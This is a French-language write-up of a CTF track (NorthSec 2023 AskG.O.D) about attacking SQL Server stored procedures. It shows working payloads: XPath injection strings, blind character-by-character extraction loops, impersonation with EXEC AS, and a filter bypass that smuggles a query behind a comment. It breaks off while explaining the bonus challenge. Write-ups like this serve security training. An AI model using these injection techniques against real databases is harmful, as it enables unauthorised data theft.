Aller au contenu
Retour aux défis CTF

Défi CTF

NorthSec 2023: AskG.O.D (défi SQL)

Ce billet est le compte rendu de la piste AskG.O.D que nous avons faite à NorthSec 2023.

Introduction

Voici l’introduction du défi. « Notepad.exe » est le forum où tous les défis étaient publiés. L’introduction du défi telle que publiée sur le forum Notepad.exe.

Le port 1433 est le port standard de SQL Server, alors j’ai utilisé SQL Server Management Studio pour me connecter au serveur avec les identifiants fournis.

Une fois connecté, voici ce que l’on voit dans la console: SQL Server Management Studio connecté au serveur du défi, listant ses procédures stockées.

On trouve plusieurs procédures stockées et le studio nous permet de créer un script pour les exécuter ou pour en voir la définition.

Noms étranges (drapeaux 1 et 2)

Deux des procédures stockées ont des noms étranges, l’une avec un caractère unicode et l’autre entièrement composée de caractères spéciaux. Le studio a bien structuré les appels aux procédures stockées et celles-ci n’exigeaient aucun paramètre. Le caractère unicode a tout de même causé quelques ennuis. Mon collègue Rémi a réglé ça.

Leur exécution nous a donné les deux premiers drapeaux. En les soumettant, nous avons vu qu’il y avait 18 drapeaux dans cette piste.

SlowlyButSherly (drapeau 3)

Je n’ai pas la définition de cette procédure stockée, mais elle effectuait une comparaison de ce genre:

if(@flag like @input+'%')

Si le début de l’entrée correspondait au drapeau, la procédure stockée retournait 1, sinon 0. L’idée était donc de récupérer les caractères un à un en commençant par le premier. J’ai demandé à ChatGPT d’écrire une boucle while en TSQL qui essaie tous les caractères ASCII, puis j’ai modifié le code pour obtenir ceci:

DECLARE @return_value INT
DECLARE @ascii_num INT = 1;
DECLARE @char_val VARCHAR(38);
DECLARE @accum VARCHAR(38) = ''; -- Start with empty string
DECLARE @len INT = 1;
DECLARE @found INT = 0;

WHILE (@len < 39)
BEGIN
	SET @found = 0;
	SET @ascii_num = 32

	-- Try every character
	WHILE (
			@ascii_num <= 127
			AND @found = 0
			)
	BEGIN
		IF (@ascii_num <> 37) -- Don't try '%'
		BEGIN
		    -- Add the character to the end of the string that we found until now
			SET @char_val = CONCAT (
					@accum
					,CHAR(@ascii_num)
					);
			-- Try this string
			EXEC @return_value = [dbo].[SlowlyButSherly] @x = @char_val

			IF @return_value = 1
			BEGIN
				-- If it matches, we set this as our current string
				SET @accum = @char_val
				SET @found = 1;
				SET @len = len(@accum)
			END
		END

		-- Try the next character
		SET @ascii_num = @ascii_num + 1;
	END
	-- Print the string that we found so far, we print it every time we get a new character
	print(@accum)

END

Authenticate (drapeau 4)

Cette procédure stockée ressemblait à ceci:

CREATE PROCEDURE [dbo].[Authenticate](@username VARCHAR(50), @password VARCHAR(50))
AS
BEGIN
	IF EXISTS(SELECT * FROM Accounts WHERE username = @username AND password = @password)
	BEGIN
		SELECT flag FROM flags WHERE id = 10
	END
END

Je n’ai trouvé aucun moyen de sélectionner de l’information dans la table Accounts. Vu la structure de la requête, j’ai aussi essayé d’insérer une ligne dans la table des comptes avec un nom d’utilisateur et un mot de passe connus, mais je n’avais pas les droits d’insertion. J’avoue qu’il m’a fallu longtemps avant de penser à la solution; j’ai fait d’autres défis de la piste entre-temps.

J’ai fini par avoir l’indice de regarder mes permissions en exécutant cette requête:

SELECT
    USER_NAME(grantee_principal_id) AS [user],
    USER_NAME(grantor_principal_id) AS [grantor],
    OBJECT_NAME(major_id) AS [table_name],
    permission_name,
	*
FROM
    sys.database_permissions
WHERE
    USER_NAME(grantee_principal_id) = USER_NAME()

Ça m’a donné beaucoup d’information, et ça m’a aidé à résoudre plusieurs autres défis de la piste: La sortie de la requête sur les permissions, listant les droits accordés à l’utilisateur connecté.

J’avais les droits de mise à jour sur la table des comptes, alors j’ai résolu le défi comme ceci:

update Accounts set username =‘asd’, password = ‘asd’ exec Authenticate ‘asd’,‘asd’

StoredProcedure (drapeau 5)

L’énumération des permissions faite pour le défi Authenticate m’a permis de voir une procédure stockée nommée « StoredProcedure ». Curieusement, elle n’apparaissait pas dans la liste de SQL Server Management Studio. Je l’ai donc exécutée et j’ai obtenu un autre drapeau.

AskGOD (drapeau 6)

Voici la procédure stockée:

CREATE PROCEDURE [dbo].[AskGOD]
AS
BEGIN
	DECLARE @object VARBINARY(max), @output NVARCHAR(max)
	SELECT TOP 1 @object = [data] FROM Gibberish
	EXECUTE dbo.Decrypt @object, @output = @output OUTPUT
	IF (@output = 'O'' GOD, may I ask for the flag please.')
	BEGIN
		SELECT flag FROM flags WHERE id = 11
	END
END

Dans la liste, il y avait deux procédures stockées, Decrypt et Encrypt, que nous pouvions exécuter sans en voir la définition. J’ai simplement essayé de chiffrer la sortie voulue et utilisé l’astuce d’Authenticate pour mettre à jour la table Gibberish.

DECLARE @object VARBINARY(max), @output NVARCHAR(max) set @output = ‘O’’ GOD, may I ask for the flag please.’ exec encrypt @output, @output = @object OUTPUT update Gibberish set [data] = @object exec AskGod

ExecuteMeIfYouCan (drapeau 7)

Celui-là était simple:

CREATE PROCEDURE [dbo].[ExecuteMeIfYouCan]
AS
BEGIN
	SELECT flag FROM flags WHERE id = 12
END

Je ne pouvais pas l’exécuter directement, mais j’ai vu que nous avions des droits d’usurpation d’identité depuis coworker, alors j’ai simplement essayé:

exec as user = ‘coworker’ exec ExecuteMeIfYouCan

createTempTable (drapeau 8)

Je n’ai pas cette procédure stockée, mais de mémoire elle ressemblait à ceci:

CREATE PROCEDURE [dbo].[createTempTable]
AS
BEGIN
    SELECT flag FROM flags WHERE id = X INTO ##temp
    drop table ##temp
END

L’idée était que la procédure stockée place le drapeau dans une table temporaire et supprime celle-ci immédiatement après. L’astuce, c’était de remarquer que le nom de la table temporaire commençait par « ## », ce qui en fait une table temporaire globale. Elle est donc accessible à tout le monde et aux autres connexions. Voir: https://stackoverflow.com/a/2921091

Il fallait donc interroger la table temporaire au moment exact où elle contenait le drapeau. Le problème, c’est que l’interroger quand elle n’existe pas produit une erreur qui arrête les scripts.

J’ai demandé à ChatGPT de me faire une boucle appelant une procédure stockée de façon répétée tout en interceptant les exceptions.

Le premier script appelle la procédure stockée à répétition pour placer le drapeau dans la table temporaire.

DECLARE @retryCount INT = 100000;
DECLARE @retryDelayInSeconds INT = 5;
DECLARE @retryAttempts INT = 0;

WHILE (@retryAttempts < @retryCount)
BEGIN
	exec createTempTable
    SET @retryAttempts = @retryAttempts + 1;
    PRINT 'The SELECT statement failed. Retrying... Attempt ' + CAST(@retryAttempts AS VARCHAR(10));
end

Le second script interroge la table temporaire à répétition avec une clause catch pour que le script ne s’arrête pas.

DECLARE @retryCount INT = 100000;
DECLARE @retryDelayInSeconds INT = 5;
DECLARE @retryAttempts INT = 0;

WHILE (@retryAttempts < @retryCount)
BEGIN
    BEGIN TRY
		exec ('        SELECT * FROM ##temp;')
        -- Exit the loop if the SELECT statement succeeded
        SET @retryAttempts = @retryCount;
    END TRY
    BEGIN CATCH
    SET @retryAttempts = @retryAttempts + 1;
    -- Print a message for the retry attempt
    IF (@retryAttempts < @retryCount)
    BEGIN
        PRINT 'The SELECT statement failed. Retrying... Attempt ' + CAST(@retryAttempts AS VARCHAR(10));
    END
END CATCH
end

b2JmdXNjYXRIZA== (drapeau 9)

Cette procédure stockée prend un seul paramètre, mais il est difficile de savoir quoi lui passer. Elle ressemble à ceci:

CREATE PROCEDURE [dbo].[b2JmdXNjYXRlZA==] (@AAymxBn9HwG6T2 VARCHAR(32))
AS
BEGIN
	CREATE TABLE #qNs2BLcR4j (flag VARCHAR(38), AAymxBn9HwG6T2 VARCHAR(32), z9ebDjZgqX VARCHAR(4), LXduUXp3V5 INT)
	INSERT INTO #qNs2BLcR4j SELECT flag, @AAymxBn9HwG6T2, z9ebDjZgqX, LXduUXp3V5 FROM flags, YxA9R69MCb WHERE id = 1
	DECLARE @query VARCHAR(MAX)
	SET @query = (SELECT CONVERT(VARCHAR(MAX),CAST('' as xml).value('xs:base64Binary(''REVjbEFyRSBAaWFxNVpYWmNqNSBJblQsQGhHMktlaXZQV0Z1T3lSSyB2QXJDaEFyKE1heCksQG13bmxscXdNZGR0IFZhckNIYVIoNCk7c2VsRWN0IEBpYXE1WlhaY2o1PTEsQG13bmxscXdNZGR0PXo5ZWJEalpncVgsQGhHMktlaXZQV0Z1T3lSSz0weDY3YjllNmE0NDJhZWUwZTg2Mzk5ZThmYjYyOTljYTg2NTI5ZGUzZjE0YmZjY2NhNjc3ZjBhNTg4NmZhOWU3YmI3M2E1ZWU4NzE3YWVlZmZkMDNhYWM0YmE2MDk0YzQ5YTBiYjFjNDkwMGFmMGE1ODg0NmE4ZjFiMDUzOGNmZmFkNTc5N2NiZTg0YTkyZjFmMzUwOTljOWFkNjA4OGE1ODg2NmIxYjY4OTY2OTNjYmI5NjJiYWJjYTAxZWVkYTk4ODZmYTllN2JiNzNhNWVlODcxN2FlZWZmZDFlZWNmZGFjMTNiZmUxZjAxNGU0ZTNhYzQyYmRlNmFjMTBiZmU2YTk0MmJlZTdmMDE0YmVlN2FhMTViZWIyZjAxNGU1YmRmMDE0YmRiZGE5MWJiOWI1YWMxN2I4ZTNhOTFhYjhiMGE5MTNiZGUzYWM0NmJkZTBmMTQ3YmVlN2YxMWFlNGIyYWI0N2I4YmNhYzE1YjhiMWYwMTRlNGU0YWMxYmJlYjBhYzQyZTViY2E5MWFiZWI2YWI0MmJlYmNmMTQxYjhiNGYxMTNlNGIyYTkxN2U0YjJmMDQ2YmZlNmYxNDBiZmU2YWIxYWJmZTRhYjQxYmZlNGFiNDBlNWU3YWI0MWU1YjJhYjQxYmRiNWYxNDdiZGI1ZjExYmJmZTdhYjFiZTVlNmFiNDBlNWUwYWI0N2U1ZTRmMTQ2ZTVlN2FiNDdiZmJjZjExYWJmZTZmMTQ2YmZlMWFiMWFlNGUwZmYxN2ViYjRhYjFhYmZlNmFiNDZiZWI1YWMxNmViYjFmZjEyYjhlNGE5NDBiZWI2YWI0MGJkZTRhYzQxZTRiMmFiNDdiOGI2YWIxYmJmZTBmMDE0YmRlMWFjMWFiZWIzYWExN2U0YjJmMDQyYjhiZGFhMTZiOGU0ZjExYWJkYmNhYTEwYmZlNGFhMWFlNWU3YWMxMmViYjFmZjEyYmZlNmFhMTZiZmU3ZTQwMzljZTBiYzU3YTRmNTk4NTliOWYxODM2ZGZjYjhlODZmODRlMWJkNzY4NGY1ZmI3NWU5YTU4ZTcxOTNlOGU4MDBhZGNiYmIxMTllYzlhYjcxZThlZmYzNTRiNGVjYTQ0NmZjYzU4ZDRlZWZjNDhkNmM5MmY0ODk0NWU1ZWRmNDFlYjBlMDg2MGI5Y2M5YmQ0MWFmZDViMTQ4OTNiMWJhNDllOWFjYzI2MTk5YzJhMTZkZDZkNjhkNTdmY2M1ODQ1NmJlZjY5ODVhYjdjYWZjNTFiNmIwZjU1MGE5YzdiYjc3YWVjYzg2NDRmNGM1ODQ1NmJlZjY5ODVhYjdjYWZjNTFiNmIwZTQwM2VkYTllODYzOTllOGZiNjI5OWNhODY1MjlkZTNmMTRiZjFiNGUxMDg5ZmVkYTk1MWY0ZTQ5YjQwYjVlY2UwNzA4OWU3OWI3N2FlY2NhNjQ0ZjRjNTg0NTZiZWY2OTg1YWI3Y2FmYzUxYjZiMGU0NjM5OWU4ZmI2Mjk5Y2E4NjUyOWRlM2YxNGJmMGI0ZTEwYWYxYzVhZDU3YThmZGI4NzNhNmUwYmM2ODkyYWNlMzcwYTljNzliNTc4ZWVjYTY0NGY0YzU4NDU2YmVmNjk4NWFiN2NhZmM1MWI2YjBlNDAzOWNjMGE1MTA5ZGMwODc2ZGFkYzRhZTFhYjRhZWY5MGZmY2U5YWQ2ZGY0YzU4NDU2YmVmNjk4NWFiN2NhZmM1MWI2YjBlMTBhZTdmNjhkNTdmY2M1OGQ0ZWVmYzQ4ZDZjOTJmNDg5NDVlNWVkZjU2Mzk5ZThmYjYyOTljYTg2NTI5ZGUzZjE0YmY3YjRjMjY2YjJlMWYzNDY4NGMwOGIwM2Y0YzU4NDU2YmVmNjk4NWFiN2NhZmM1MWI2YjBlMSBGUk9tICNxTnMyQkxjUjRqO3dISWxlIEBpYXE1WlhaY2o1PD1sRW4oQGhHMktlaXZQV0Z1T3lSSykKYmVHaU4gClNlVCBAaEcyS2VpdlBXRnVPeVJLPXN1YlNUUklORyhAaEcyS2VpdlBXRnVPeVJLLDEsQGlhcTVaWFpjajUtMSkrQ2hhcihBU0NpSShTdWJTVHJpTkcoQGhHMktlaXZQV0Z1T3lSSyxAaWFxNVpYWmNqNSwxKSleQXNjSUkoc3ViU1RSSW5HKEBtd25sbHF3TWRkdCwoKEBpYXE1WlhaY2o1LTEpJWxlbihAbXdubGxxd01kZHQpKSsxLDEpKSkrc3ViU1RySW5nKEBoRzJLZWl2UFdGdU95UkssQGlhcTVaWFpjajUrMSxMZU4oQGhHMktlaXZQV0Z1T3lSSykpO3NFVCBAaWFxNVpYWmNqNT1AaWFxNVpYWmNqNSsxOwplTkQ7RVhFYyAoQGhHMktlaXZQV0Z1T3lSSyk='')','varbinary(MAX)')))
    EXECUTE (@query)
END

Ça ressemblait à une requête obscurcie, alors j’ai exécuté le select pour obtenir:

DECLARE @iaq5ZXZcj5 INT
	,@hG2KeivPWFuOyRK VARCHAR(Max)
	,@mwnllqwMddt VARCHAR(4);

SELECT @iaq5ZXZcj5 = 1
	,@mwnllqwMddt = z9ebDjZgqX
	,@hG2KeivPWFuOyRK = 0x67B9E6A442AEE0E86399E8FB6299CA86529DE3F14BFCCCA677F0A5886FA9E7BB73A5EE8717AEEFFD03AAC4BA6094C49A0BB1C4900AF0A58846A8F1B0538CFFAD5797CBE84A92F1F35099C9AD6088A58866B1B6896693CBB962BABCA01EEDA9886FA9E7BB73A5EE8717AEEFFD1EECFDAC13BFE1F014E4E3AC42BDE6AC10BFE6A942BEE7F014BEE7AA15BEB2F014E5BDF014BDBDA91BB9B5AC17B8E3A91AB8B0A913BDE3AC46BDE0F147BEE7F11AE4B2AB47B8BCAC15B8B1F014E4E4AC1BBEB0AC42E5BCA91ABEB6AB42BEBCF141B8B4F113E4B2A917E4B2F046BFE6F140BFE6AB1ABFE4AB41BFE4AB40E5E7AB41E5B2AB41BDB5F147BDB5F11BBFE7AB1BE5E6AB40E5E0AB47E5E4F146E5E7AB47BFBCF11ABFE6F146BFE1AB1AE4E0FF17EBB4AB1ABFE6AB46BEB5AC16EBB1FF12B8E4A940BEB6AB40BDE4AC41E4B2AB47B8B6AB1BBFE0F014BDE1AC1ABEB3AA17E4B2F042B8BDAA16B8E4F11ABDBCAA10BFE4AA1AE5E7AC12EBB1FF12BFE6AA16BFE7E4039CE0BC57A4F59859B9F1836DFCB8E86F84E1BD7684F5FB75E9A58E7193E8E800ADCBBB119EC9AB71E8EFF354B4ECA446FCC58D4EEFC48D6C92F48945E5EDF41EB0E0860B9CC9BD41AFD5B14893B1BA49E9ACC26199C2A16DD6D68D57FCC58456BEF6985AB7CAFC51B6B0F550A9C7BB77AECC8644F4C58456BEF6985AB7CAFC51B6B0E403EDA9E86399E8FB6299CA86529DE3F14BF1B4E1089FEDA951F4E49B40B5ECE07089E79B77AECCA644F4C58456BEF6985AB7CAFC51B6B0E46399E8FB6299CA86529DE3F14BF0B4E10AF1C5AD57A8FDB873A6E0BC6892ACE370A9C79B578EECA644F4C58456BEF6985AB7CAFC51B6B0E4039CC0A5109DC0876DADC4AE1AB4AEF90FFCE9AD6DF4C58456BEF6985AB7CAFC51B6B0E10AE7F68D57FCC58D4EEFC48D6C92F48945E5EDF56399E8FB6299CA86529DE3F14BF7B4C266B2E1F34684C08B03F4C58456BEF6985AB7CAFC51B6B0E1
FROM #qNs2BLcR4j;

WHILE @iaq5ZXZcj5 <= lEn(@hG2KeivPWFuOyRK)
BEGIN
	SET @hG2KeivPWFuOyRK = subSTRING(@hG2KeivPWFuOyRK, 1, @iaq5ZXZcj5 - 1) + CHAR(ASCiI(SubSTriNG(@hG2KeivPWFuOyRK, @iaq5ZXZcj5, 1)) ^ AscII(subSTRInG(@mwnllqwMddt, ((@iaq5ZXZcj5 - 1) % len(@mwnllqwMddt)) + 1, 1))) + subSTrIng(@hG2KeivPWFuOyRK, @iaq5ZXZcj5 + 1, LeN(@hG2KeivPWFuOyRK));
	SET @iaq5ZXZcj5 = @iaq5ZXZcj5 + 1;
END;

EXEC (@hG2KeivPWFuOyRK)

Après l’avoir regardé un moment, j’ai compris qu’il s’agissait d’octets hexadécimaux xorés avec une clé inconnue de 4 octets. J’ai écrit un petit programme pour créer 4 ensembles d’octets selon leur index modulo 4. J’ai ensuite essayé toutes les valeurs d’un octet à xorer avec toutes les valeurs de chaque ensemble. Si, après le XOR, toutes les valeurs de l’ensemble tombaient dans la plage imprimable, je conservais la valeur utilisée. J’obtenais ainsi 4 ensembles de valeurs candidates. J’ai eu un peu de mal, parce que certaines valeurs semblaient impossibles à xorer dans deux des ensembles: elles ne donnaient pas de caractères valides. J’ai donc abaissé le seuil: si seulement un ou deux caractères de l’ensemble ne donnaient pas de caractères imprimables, je considérais quand même la valeur comme candidate.

J’ai ensuite essayé toutes les combinaisons de valeurs candidates à xorer avec les données et j’ai affiché tous les textes contenant « select ». Avec ces 4 octets, on obtient:

DECLARE @Em3AEONqAf9h INT
	,@LubsPykO4rj5 VARCHAR(mAX)
	,@ettxpPzetKN INT;

SELECT @Em3AEONqAf9h = 1
	,@LubsPykO4rj5 = 0xD0CD878FDAACD3CCAABB87BBB6B7879887A8A8E0D4DFA9D5A0AFDEAE9DBB9987CDD9D6D4878AD8B5DA99A9B3CAB99BD19087A4878ECC9CCCC9CACBCACC9BCB97CBA09DA098CBC89CCC9ECD9A9E9BCDC999CC9ECDC98E7471C9CCCEB0D57471DAACB3CCAADB87CDD3C8CE87ADD9B6B4878AD8B5DA99A9B3CAB99BD17471CCB5CB
	,@ettxpPzetKN = LXduUXp3V5
FROM #qNs2BLcR4j;

WHILE @Em3AEONqAf9h <= leN(@LubsPykO4rj5)
BEGIN
	SET @LubsPykO4rj5 = suBsTrINg(@LubsPykO4rj5, 1, @Em3AEONqAf9h - 1) + CHAR(aScii(SUbSTrIng(@LubsPykO4rj5, @Em3AEONqAf9h, 1)) - @ettxpPzetKN) + SuBStRing(@LubsPykO4rj5, @Em3AEONqAf9h + 1, leN(@LubsPykO4rj5));
	SET @Em3AEONqAf9h = @Em3AEONqAf9h + 1
END;

EXEC (@LubsPykO4rj5)

C’est le même concept, mais avec un seul caractère xoré avec les octets hexadécimaux. J’ai utilisé une tactique semblable pour obtenir ceci:

if (sEleCT TOP 1 AAymxBn9HwG6T2 from #qNs2BLcR4j) = 'e5ebcdce4d0d9691da5e7f374fb2e7fb'
begIn
sELeCt flag FrOM #qNs2BLcR4j
eNd

Ça nous donnait ce qu’il fallait envoyer à la procédure stockée pour obtenir le drapeau.

Substitution (drapeau 10)

Cette procédure stockée ressemblait à ceci:

CREATE PROCEDURE [dbo].[substitution] (@query VARCHAR(500))
AS
BEGIN
	SET NOCOUNT ON
	DECLARE @rowCount INT, @row INT = 0, @index INT = 1, @position INT = 1, @length INT, @replaceFrom VARCHAR(30), @replaceTo VARCHAR(30), @newquery VARCHAR(500) = ''
	CREATE TABLE #UmRYqEjd9ylygA (flag VARCHAR(38))
	INSERT INTO #UmRYqEjd9ylygA SELECT flag FROM flags WHERE id = 8
	CREATE TABLE #VK37aPGHw9l4e (replaceTo VARCHAR(30), position INT, length INT)

	SELECT @rowCount = COUNT(*) FROM SubstitutionTable
	WHILE @row < @rowCount
	BEGIN
		SELECT @replaceFrom = replaceFrom, @replaceTo = replaceTo FROM SubstitutionTable ORDER BY replaceFrom OFFSET @row ROW FETCH FIRST 1 ROW ONLY
		SET @index = 1
		SET @position = CHARINDEX(@replaceFrom, UPPER(@query), @index)
		WHILE @position > 0
		BEGIN
			INSERT INTO #VK37aPGHw9l4e VALUES (@replaceTo, @position, LEN(@replaceFrom))
			SET @index = @index + @position + LEN(@replaceFrom)
			SET @position = CHARINDEX(@replaceFrom, UPPER(@query), @index)
		END
		SET @row = @row + 1
	END
	SET @row = 0
	SET @index = 1
	SELECT @rowCount = COUNT(*) FROM #VK37aPGHw9l4e
	WHILE @row < @rowcount
	BEGIN
		SELECT @replaceTo = replaceTo, @position = position, @length = length FROM #VK37aPGHw9l4e ORDER BY position OFFSET @row ROW FETCH FIRST 1 ROW ONLY
		IF @index < @position
		BEGIN
			SET @newquery = @newquery + SUBSTRING(@query, @index, @position - @index)
		END
		SET @newquery = @newquery + @replaceTo
		SET @index = @position + @length
		SET @row = @row + 1
		IF @row = @rowCount
		BEGIN
			SET @newquery = @newquery + SUBSTRING(@query, @index, LEN(@query) + 1 - @index)
		END
	END
	EXEC (@newquery)

END

Je l’ai exécutée avec « asd » et, par chance, je suis tombé sur une des substitutions, ce qui a produit l’erreur « Invalid syntax near fromd ». J’ai ensuite passé beaucoup de temps à essayer de reconstituer la table de substitution complète, croyant qu’il faudrait construire une chaîne bizarre qui serait substituée pour donner la bonne requête.

Après plusieurs heures, j’ai changé de tactique. Au départ, j’avais essayé de répéter la chaîne comme ceci: « asdasdasd », mais le second « as » n’était pas remplacé par « from » comme le premier. J’ai remarqué cette ligne:

SET @index = @index + @position + LEN(@replaceFrom)

Le @position de cette ligne fait beaucoup augmenter l’index et saute beaucoup de caractères qui ne sont donc pas remplacés. Au bout du compte, il me suffisait d’écrire le select voulu, en m’assurant d’abord d’avoir provoqué assez de remplacements pour que ma vraie requête ne soit pas touchée.

J’ai fini par utiliser ce texte dans la procédure stockée:

--aaaaaaaaaaaaaaaaasdselectselectselectfromfromfromfromfrom select * from #UmRYqEjd9ylygA

Tous les select et les from de la première ligne sont remplacés et, comme ils suivent « – », ils sont dans un commentaire qui n’arrête pas l’exécution. Ensuite, sur une ligne distincte, j’écris la bonne requête et il n’y a plus de substitution, parce qu’il y en a eu assez sur la première ligne.

GetOut (drapeau 11)

Je ne me souviens plus de ma solution et je n’ai pas la définition de cette procédure stockée. De mémoire, il s’agissait d’obtenir le paramètre de sortie. Je crois que SQL Server Management Studio a encore fait tout le travail à ma place, mais je n’en suis pas certain.

GetWorkerProperty (drapeaux 12, 13 et 14)

Cette procédure stockée ressemblait à ceci:

CREATE PROCEDURE [dbo].[GetWorkerProperty] (@workername VARCHAR(150))
AS
BEGIN
	-- You see 2 flags? I see 3.
	IF (@workername LIKE '%''%')
	BEGIN
		RETURN -1
	END

	DECLARE @flag1 VARCHAR(38), @flag2 VARCHAR(38), @query VARCHAR(300)
	SELECT @flag1 = flag FROM flags WHERE id = 16
	SELECT @flag2 = flag FROM flags WHERE id = 17
	CREATE TABLE #workers (properties XML, flag VARCHAR(38))
	INSERT INTO #workers SELECT properties, @flag2 FROM workers
	SET @query = 'DECLARE @flag VARCHAR(38);SET @flag = '''+@flag1+''';SELECT properties.query(''//worker[@name = "'+@workername+'"]/child::node()'') AS property FROM #workers AS w'
	EXECUTE(@query)

END

Il y avait deux drapeaux et l’indice d’un troisième. C’était clairement un défi d’injection XPath dans du XML et l’astuce consistait à trouver la bonne syntaxe.

Je me suis créé un bac à sable pour expérimenter avec la syntaxe. C’est une bonne stratégie en général: pouvoir reproduire le défi dans un environnement connu donne beaucoup plus d’information.

DECLARE @xmlData XML = 'John DoeJane Doe';
SELECT @xmlData.query('//worker[@name = "johnny"]/child::node()') AS property

J’ai ensuite combiné une technique classique d’injection SQL et de traversée de chemin pour extraire le document XML complet.

DECLARE @xmlData XML = 'John DoeJane Doe';
SELECT @xmlData.query('//worker[@name = "a" or "1"="1"]/../../..["1"="1"]/child::node()') AS property

exec GetWorkerProperty ‘a” or “1”=“1”]/../../..[“1”=“1’

Ça m’a donné le troisième drapeau secret.

J’ai ensuite tenté d’obtenir le drapeau contenu dans la variable « @flag ». J’ai fini par trouver la syntaxe sql:variable("@flag") pour accéder aux variables. J’ai alors utilisé une technique d’énumération valeur par valeur, comme dans une injection SQL booléenne.

Voici ma preuve de concept:

exec GetWorkerProperty ‘a” or “FLAG-”=substring(sql:variable(“@flag”),1,5) or “2”=“1’

exec GetWorkerProperty ‘a” or “0”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “1”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “2”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “3”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “4”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “5”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “6”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “7”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “8”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “9”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “a”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “b”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “c”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “d”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “e”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “f”=substring(sql:variable(“@flag”),6,5) or “2”=“1’

Je n’ai pas trouvé de façon simple d’accéder au jeu de résultats retourné par la procédure stockée. Il apparaît bien dans la fenêtre de sortie, mais je ne savais pas comment l’utiliser dans le script T-SQL. J’ai fini par demander à ChatGPT de m’écrire les boucles while essayant les caractères hexadécimaux à chaque position successive du drapeau. Quand le caractère était le bon, le jeu de résultats contenait une valeur; sinon, il était vide. J’affichais le caractère essayé ainsi que l’index, simplement pour pouvoir les assembler rapidement à la main en repérant les jeux de résultats non vides. Avoir autant de jeux de résultats dans la fenêtre de sortie ralentissait beaucoup le studio, alors je l’ai fait en deux passes: caractères 6 à 20, puis 20 à 40, les 5 premiers étant « FLAG- ».

DECLARE @hexDigits NVARCHAR(16) = N'0123456789abcdef';
DECLARE @index INT = 1;
DECLARE @index2 INT = 20;
DECLARE @count INT = LEN(@hexDigits);
DECLARE @currentChar NVARCHAR(1);
declare @test varchar(100);
declare @res int;

while(@index2 < 40)
begin
	set @index = 1
	WHILE (@index <= @count)
	BEGIN
		SET @currentChar = SUBSTRING(@hexDigits, @index, 1);

		PRINT 'Trying hex digit ' + @currentChar;

		set @test = concat('a" or "',@currentChar,'"=substring(sql:column("flag"),',@index2,',1) or "2"="1')
		print @test

		select @index2,@currentChar
		exec GetWorkerProperty @test

		SET @index = @index + 1;
	END
    SET @index2 = @index2 + 1;

end

Ça m’a donné le premier drapeau, et j’ai obtenu le second avec la même technique, mais avec la syntaxe sql:column("flag"), ce second drapeau étant rangé dans une autre colonne de la même table.

BooleanSQLi (drapeau 15)

C’est mon collègue qui a fait celui-là, je n’ai pas le code.

ErrorSQLi (drapeau 16)

C’est mon collègue qui a fait celui-là, je n’ai pas le code.

UnionSQLi (drapeau 17)

C’est mon collègue qui a fait celui-là, je n’ai pas le code.

Bonus (drapeau 18)

Il y avait une autre procédure stockée nommée « UnlockBonusChallenge ». Elle indiquait de l’exécuter avec les valeurs des drapeaux de BooleanSQLi, ErrorSQLi et UnionSQLi pour accéder au défi bonus. Nous l’avons fait et elle nous a donné des identifiants pour nous connecter au même serveur avec un compte différent nommé « bonus ». Avec cette connexion, il n’y avait qu’une seule procédure stockée, nommée « challenge ».

BEGIN
	DECLARE @i INT = 1
	WHILE @i < len(@injection)
	BEGIN
		IF SUBSTRING(@injection, @i, 1) NOT LIKE '[a-zA-Z0-9''#.,\[\]()_]' ESCAPE '\'
			RETURN -1
		SET @i = @i + 1
	END

	CREATE TABLE #XPvRMOo5qobus8 (yY1aX7UuNiC VARCHAR(16))
	DECLARE @query VARCHAR(MAX)
	SET @query = 'SELECT ''' + @injection + ''''
	EXEC (@query)
	EXEC validator

END

La première partie vérifiait que seuls les caractères autorisés étaient soumis. Beaucoup de caractères dangereux étaient permis, notamment « ’ », qui nous permettait de nous échapper. Mais certains caractères importants manquaient: « », « ; », « = » et les sauts de ligne.

Exécutée avec une entrée contenant un caractère invalide, elle retournait simplement -1. Exécutée avec « 1 » pour que le select fonctionne, elle affichait:

The goal of this challenge is to have the following schema ‘TABLE #XPvRMOo5qobus8 (givemeflagplease VARCHAR(16))’ with the value of #XPvRMOo5qobus8.givemeflagplease = ‘GiveMeFlagPlease’. If you successfully meet this requirement, the flag will appear in the results.

La table temporaire était déjà créée avec le bon nom, mais le nom de la colonne n’était pas le bon et il fallait y insérer les bonnes données. Pour avoir beaucoup utilisé SQL Server, je savais que le « ; » à la fin des instructions était inutile lorsqu’elles étaient sur des lignes distinctes. Mais je savais aussi, à force de travailler dans SQL Server Management Studio, que même sur une même ligne, les instructions n’avaient pas besoin de « ; » entre elles. Dans le studio, l’analyseur souligne les éléments de syntaxe invalides d’un trait ondulé rouge. Or, en éditant, j’avais remarqué qu’en fusionnant des lignes il n’y avait parfois aucune erreur de syntaxe avec deux instructions adjacentes. En passant, je me suis toujours demandé à quel point il est difficile d’écrire un analyseur qui gère cette syntaxe folle.

Malgré ces indices, j’ai quand même passé des heures sur ce problème. La difficulté, c’est que pour insérer des données il faut « INSERT INTO… ». L’espace entre « INSERT » et « INTO » était l’obstacle qui m’empêchait d’insérer. J’avais des solutions pour tout le reste. J’ai découvert assez vite comment renommer la colonne de la table temporaire, comme ceci:

